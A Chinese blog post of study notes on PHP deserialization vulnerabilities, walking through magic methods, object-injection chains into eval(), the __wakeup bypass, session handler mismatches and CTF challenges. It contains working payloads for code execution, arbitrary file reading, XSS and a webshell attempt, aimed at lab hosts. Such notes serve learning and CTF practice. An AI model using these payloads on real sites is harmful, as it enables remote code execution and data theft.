PHP序列化及反序列化分析學習小結

PHP反序列化

最近又遇到php反序列化,就順便來做個總結。

0x01 PHP序列化和反序列化

php序列化:php對象 序列化的最主要的用處就是在傳遞和保存對象的時候,保證對象的完整性和可傳遞性。序列化是把對象轉換成有序位元組流,以便在網絡上傳輸或者保存在本地文件中。序列化後的位元組流保存了php對象的狀態以及相關的描述信息。序列化機制的核心作用就是對象狀態的保存與重建。
php反序列化:php客戶端從文件中或網絡上獲得序列化後的對象位元組流後,根據位元組流中所保存的對象狀態及描述信息,通過反序列化重建對象。
簡單來說,序列化就是把實體對象狀態按照一定的格式寫入到有序位元組流,當要用到時就通過反序列化來從建對象,恢復對象狀態,這樣就可以很方便的存取數據和傳輸數據。

序列化例子:

<?php  class test{      public $name = 'lu';      private $name2 = 'lu';      protected $name3 = 'lu';  }  $test1 = new test();  $object = serialize($test1);  print_r($object); ?>  

最後輸出:O:4:"test":3:{s:4:"name";s:2:"lu";s:11:"testname2";s:2:"lu";s:8:"*name3";s:2:"lu";}
注意:序列化對象時,不會保存常量的值。對於父類中的變量,則會保留。
序列化只序列化屬性,不序列化方法。
簡單介紹下具體含義

但是我們注意到上面的例子序列化的結果有些不對。那是因為序列化public private protect參數會產生不同結果,test類定義了三個不同類型(私有,公有,保護)但是值相同的字符串但是序列化輸出的值不相同。
通過對網頁抓取輸出是這樣的

`O:4:"test":3:{s:4:"name";s:2:"lu";s:11:"0test0name2";s:2:"lu";s:8:"*0*0name3";s:2:"lu";}  

public的參數變成 name private的參數被反序列化後變成 0name0name2 protected的參數變成 0*0name3

反序列化試例:

?php  class lushun{  var $test = '123';  }  $class2 = 'O:6:"lushun":1:{s:4:"test";s:3:"123";}';  print_r($class2);  echo "</br>";  //我們在這裡用 unserialize() 還原已經序列化的對象  $class2_un= unserialize($class2); //此時的 $class2_un 已經是前面的test類的實例了  print_r($class2_unser);  echo "</br>";    ?>  


一般反序列化後必須要在當前作用域有對應的類(因為不會序列化方法),實例才能正確使用,所以再進行反序列化攻擊的時候就是依託類屬性進行,找到我們能控制的屬性變量,在依託它的類方法進行攻擊。將上面定義的lushun類刪除之後。結果

提示不完整的類
unserialize():將經過序列化的字符串轉換回PHP值

0x02 PHP序列化漏洞是怎麼產生的

要了解在序列化和反序列化之間的漏洞,我們先要了解PHP裏面的魔術方法,魔術方法一般是以__開頭,通常都設置了某些特定條件來觸發。這裡先提一下有個印象。

PHP的魔法函數

__wakeup, unserialize() 執行前調用  __destruct, 對銷毀的時候調用  __toString, 類被當成字符串時的回應方法  __construct(),當對象創建(new)時會自動調用,注意在unserialize()時並不會自動調用  __sleep(),serialize()時會先被調用  __call(),在對象中調用一個不可訪問方法時調用  __callStatic(),用靜態方式中調用一個不可訪問方法時調用  __get(),獲得一個類的成員變量時調用  __set(),設置一個類的成員變量時調用  __isset(),當對不可訪問屬性調用isset()或empty()時調用  __unset(),當對不可訪問屬性調用unset()時被調用。  __wakeup(),執行unserialize()時,先會調用這個函數  __toString(),類被當成字符串時的回應方法  __invoke(),調用函數的方式調用一個對象時的回應方法  __set_state(),調用var_export()導出類時,此靜態方法會被調用。  __clone(),當對象複製完成時調用  __autoload(),嘗試加載未定義的類  __debugInfo(),打印所需調試信息  

那麼漏洞出現在哪呢。
序列化本身沒有問題,問題還是那個經典的老大難:用戶輸入,我們可以控制序列化和反序列化的參數,就可以篡改對象的屬性來達到攻擊目的。為了達到我們想實現的目的,就必須對序列化和反序列化過程進行詳盡的了解,利用或者繞過某些魔法函數。
來一個例子

<?php    class test{        public $target = 'this is a test';        function __destruct(){            echo $this->target;        }    }    $a = $_GET['test'];    $c = unserialize($a);    ?>  

我們構造一個反序列化來修改$target的內容,就可以製造一個xss彈窗,既然我們可以控制$a的輸入

<?php    class test{        public $target = '<script>alert(document.cookie);</script>';    }    $a = new test();    $a = serialize($a);    echo $a;    ?>  

0x03 魔法函數的觸發順序

我們重點關注以下幾個魔法函數
這裡我們着重關注一下幾個:

  • 構造函數__construct():當對象創建(new)時會自動調用。但在unserialize()時是不會自動調用的。
  • 析構函數__destruct():當對象被銷毀時會自動調用。
  • __wakeup():如前所提,unserialize()時會自動調用。
  • __toString()當一個對象被當作一個字符串使用
    *__sleep()在對象在被序列化之前運行,用於清理對象,並返回一個包含對象中所有變量名稱的數組。如果該方法不返回任何內容,則NULL被序列化,導致一個E_NOTICE錯誤。
    測試代碼
<?php  class lushun{  	public $test = '123';  	function __wakeup(){  		echo "__wakeup";  		echo "</br>";  	}  	function __sleep(){  		echo "__sleep";  		echo "</br>";  		return array('test');  	}  	function __toString(){       return "__toString"."</br>";    }  	function __conStruct(){  		echo "__construct";  		echo "</br>";  	}  	function __destruct(){  		echo "__destruct";  		echo "</br>";  	}  }      $lushun_1 = new lushun();  $data = serialize($lushun_1);  $lushun_2 = unserialize($data);  print($lushun_2);  print($data."</br>");    ?>  

輸出結果:

可以看到__destruct函數執行了兩次,說明有兩個對象被銷毀,一個是實例化的對象,還有一個是反序列化後生成的對象。

0x04 魔法方法的攻擊

先來看個例子

<?php  class One {      private $test;      function __construct() {          $this->test = new Bad();      }        function __destruct() {          $this->test->action();      }  }    class Bad {      function action() {          echo "1234";      }  }    class Good {        var $test2;      function action() {          eval($this->test2);      }  }    unserialize($_GET['test']);  

可以看到需要我們傳入一個序列化後的字符串作為參數,然後看定義了三個類第一個One類里有兩個魔法函數,一個構造函數一個析構函數,構造函數把One類的test屬性變成Bad類的實例,析構函數就執行action()方法,但是到現在還是沒發現什麼有價值的東西,再往下看Good類里有eval函數,這個函數很危險能夠執行php命令,知道了這些想想怎麼能利用上,如果我們能將構造函數的test屬性從Bad類轉到Good類,再給Good類的test變量定義一個可以執行的值,是不是就可以用上了呢。看一下實現代碼。

<?php  class One {      private $test;      function __construct() {          $this->test = new Good();      }  }  class Good {      var $test2="phpinfo();";  }  $A = new One;  print(serialize($A));  


這裡可能你也有個疑問,php序列化的時候是不會序列化方法的,但是這裡序列化之後還是帶着構造方法所引用的對象信息,我將構造方法刪除之後,在執行了一次,是這樣的。

發現構造函數還是影響了序列化的操作,這裡着實困擾了我一陣,後來發現是我傻了,在序列化之前已經先new了一個對象構造函數已經先執行了,已經將test的屬性改為Good類的對象了,所以序列化時自然會帶上Good類。
接下來就可以用生成的序列化結果複製出來,像之前的代碼發起請求
192.168.0.103/13.php?test=O:3:"One":1:{s:9:"%00One%00test";O:4:"Good":1:{s:5:"test2";s:10:"phpinfo();";}}
注意:test是private類型,記得加上%00xx%00,我們在傳輸過程中絕對不能忘掉.

這裡我還嘗試了一下把$test2的值換成一句話馬

然後構造url用菜刀連接
http://192.168.0.103/13.php?test=O:3:"One":1:{s:9:"Onetest";O:4:"Good":1:{s:5:"test2";s:13:"($_POST[cmd])";}}
結果報錯了

下次再研究一下為什麼。
到了這裡大致總結一下發現利用php反序列化漏洞的幾個點。
(1)檢查我們是否能控制unserialize()函數的參數。
(2)重點查看序列化對象里的魔法函數的作用,看看可控制的屬性有沒有能對其產生影響的。
(3)該類在執行序列化之前做了哪些動作,或者操作。
(4)最後選擇好要控制的屬性之後,將相關的類代碼複製下來生成反序列結果。

0x05 反序列化漏洞例題

1.bugku平台 flag.php

http://123.206.87.240:8002/flagphp/?hint

<?php  error_reporting(0);  include_once("flag.php");  $cookie = $_COOKIE['ISecer'];  if(isset($_GET['hint'])){      show_source(__FILE__);  }  elseif (unserialize($cookie) === "$KEY")  {         echo "$flag";  }  else {?>  <html>  <head>  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Login</title><link rel="stylesheet" href="admin.css" type="text/css"></head><body><br><div class="container" align="center">  <form method="POST" action="#">    <p><input name="user" type="text" placeholder="Username"></p>    <p><input name="password" type="password" placeholder="Password"></p>    <p><input value="Login" type="button"/></p>    </form>  </div>  </body>  </html>  <?php  }  $KEY='ISecer:www.isecer.com';  ?>  

代碼審計看到首先將請求頭cooke值里ISecer的鍵值保存到$Cookie里,再判斷$Key的值是否與反序列化後的$Cookie值相同,注意在這裡$Key的數值是沒有定義的,最後那個定義是在後面了沒起作用。
所以我們只需要將cookie的值改為$Key序列化後的值就行。代碼如下。

<?php  $key = "";  $aaa = serialize($key);  print ($aaa)  ?>  輸出:s:0:"";  

再把cookie改為ISecer:s=0:"";即可,注意要是用瀏覽器插件修改cookie的話要把;改為%3B

2.反序列化繞過__wakeup

<?php  class SoFun{    protected $file='index.php';    function __destruct(){      if(!empty($this->file)) {        if(strchr($this-> file,"\")===false &&  strchr($this->file, '/')===false)          show_source(dirname (__FILE__).'/'.$this ->file);        else          die('Wrong filename.');      }    }    function __wakeup(){     $this->file='index.php';    }    public function __toString(){      return '' ;    }  }  if (!isset($_GET['file'])){    show_source('index.php');  }  else{    $file=base64_decode($_GET['file']);    echo unserialize($file);  }   ?> #<!--key in flag.php-->  

代碼意思就是將提交的file參數base64解碼後再反序列化,我們看到析構函數可以顯示不同文件的源碼,但是__wakeup函數已經鎖定了file為index.php所以現在就是考慮繞過__wakeup函數,實際上是一個CVE漏洞,CVE-2016-7124。當成員屬性數目大於實際數目時會跳過__wakeup的執行。網上已經有很多講解了,我們只需要知道成員數目大於實際數目這個利用的點就行了
構造exp

<?php  class SoFun{  	protected $file = 'flag.php';  }  $aa = new SoFun();  $aaa = serialize($aa);  file_put_contents('qq.txt',$aaa);  ?>  

O:5:"SoFun":1:{s:7:"/00*/00file";s:8:"flag.php";}有protected屬性成員記得加上/00,再把1改為2或者更大的數,再base64編碼一下就行了,但我在操作中發現如果括號里第一個s為小寫,base64編碼後不會顯示flag.php源碼.

誒這又是為什麼,我思來想去,最後發現是protected屬性的問題,我將源碼的protected改為var後,無論s大寫小寫都可以正常顯示flag.php源碼,我再次試驗後發現private屬性也是一樣的有這個問題。算是個坑吧剛好記錄一下。

session反序列化

看看這個
https://github.com/80vul/phpcodz/blob/master/research/pch-013.md
PHP中的會話中的內容並不是放在內存中的,而是以文件的方式來存儲的,存儲方式就是由配置項session.save_handler來進行確定的,默認是以文件的方式存儲。存儲的文件是以sess_sessionid來進行命名的,文件的內容就是會議的值序列化之後的內容。
session.serialize_handler是用來設置會話序列的化引擎的,除了默認的PHP引擎之外,還存在其他引擎,不同的引擎所對應的會話的存儲方式不相同。
php session有三種序列化和反序列化處理器

處理器 對應的存儲格式
php_binary 鍵名的長度對應的ASCII字符+鍵名+經過的serialize()函數序列化處理的值
php 鍵名+豎線+經過的serialize()函數序列處理的值
php_serialize(php>5.5.4) 經過serialize()函數處理過的值,會將鍵名和值當作一個數組序列化

在PHP中默認使用的是PHP引擎,如果要修改為其他的引擎,只需要添加代碼ini_set('session.serialize_handler‘, ‘需要設置的處理器’);

session使用相同的序列化和反序列化處理器進行存儲工作時是正常的,但如果php session序列化和反序列化時使用的處理器不同會導致無法正常反序列化,通過特殊的構造甚至可以偽造任意數據。
比如默認是php的handler,在該頁面設置為php_serialize這是如果我們傳入一個 ‘|O:5:"Class"’;,這樣的一個數據,在儲存時就會加上鍵名進行序列化,但是進行讀取的時候還是會按照php handler來處理,以|作為鍵和值的分隔符,將前半部分當作鍵,後半部分當作值,然後進行反序列化。
在默認的php處理器下儲存為

<?php  session_start();  $_SESSION['sex'] = 'man';  儲存的值為:  sex|s:3:"man";  

在php_serialize處理器下:
注意:使用php_serialize php版本必須在5.5.4以上不然沒有這個方法報錯。

<?php  ini_set('session.serialize_handler', 'php_serialize');  session_start();  $_SESSION['sex'] = 'man';  儲存的值為:  a:1:{s:3:"sex";s:3:"man";}  

實際利用
so.php

<?php  ini_set('session.serialize_handler', 'php_serialize');  session_start();  $_SESSION["sex"]=$_GET["m"];  

soo.php

<?php  ini_set('session.serialize_handler', 'php');  session_start();  class Sex{   var $hi;   function __construct(){   $this->hi = "system('whoami');";   }     function __destruct() {    eval($this->hi);   }  }  

在so.php構造
127.0.0.1/2016/so.php?a=Sex|O:3:"Sex":1:{s:2:"hi";s:10:"phpinfo();";}

然後訪問soo.php

為什麼會這樣呢,因為開始訪問so.php時,腳本會按照php_serialize處理器的方法序列化存儲數據,會將Sex當做鍵名,a的參數當做鍵值當成一個數組序列化存儲起來,變成這樣
a:1:{s:3:"sex";s:45:"Sex|O:3:"Sex":1:{s:2:"hi";s:10:"phpinfo();";}";}然後訪問soo.php時是用php處理器讀取數據,會以|為分界線,前半部分作為鍵名後半部分作為值將後半部分反序列化,會得到Sec類。

反序列化繞過正則

一道簡單ctf

<?php  @error_reporting(1);  include 'flag.php';  class baby  {      public $file;      function __toString()      {          if(isset($this->file))          {              $filename = "./{$this->file}";              if (file_get_contents($filename))              {                  return file_get_contents($filename);              }          }      }  }  if (isset($_GET['data']))  {      $data = $_GET['data'];      preg_match('/[oc]:d+:/i',$data,$matches);      if(count($matches))      {          die('Hacker!');      }      else      {          $good = unserialize($data);          echo $good;      }  }  else  {      highlight_file("./index.php");  }  ?>  

unserialize 一眼就看到了是反序列化題目,一個__toString方法允許讀取任意文件。
所以構造反序列化,但是還有個正則攔路虎
preg_match('/[oc]:d+:/i',$data,$matches)篩掉了[oc]:數字:
所以如果正常構造序列化字符串
O:4:"baby":1:{s:4:"file";s:8:"flag.php";}前面的O:4就被攔下,所以我們在4後面加上個+構造payload:
O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}
記得編碼一下,不然+會變成空格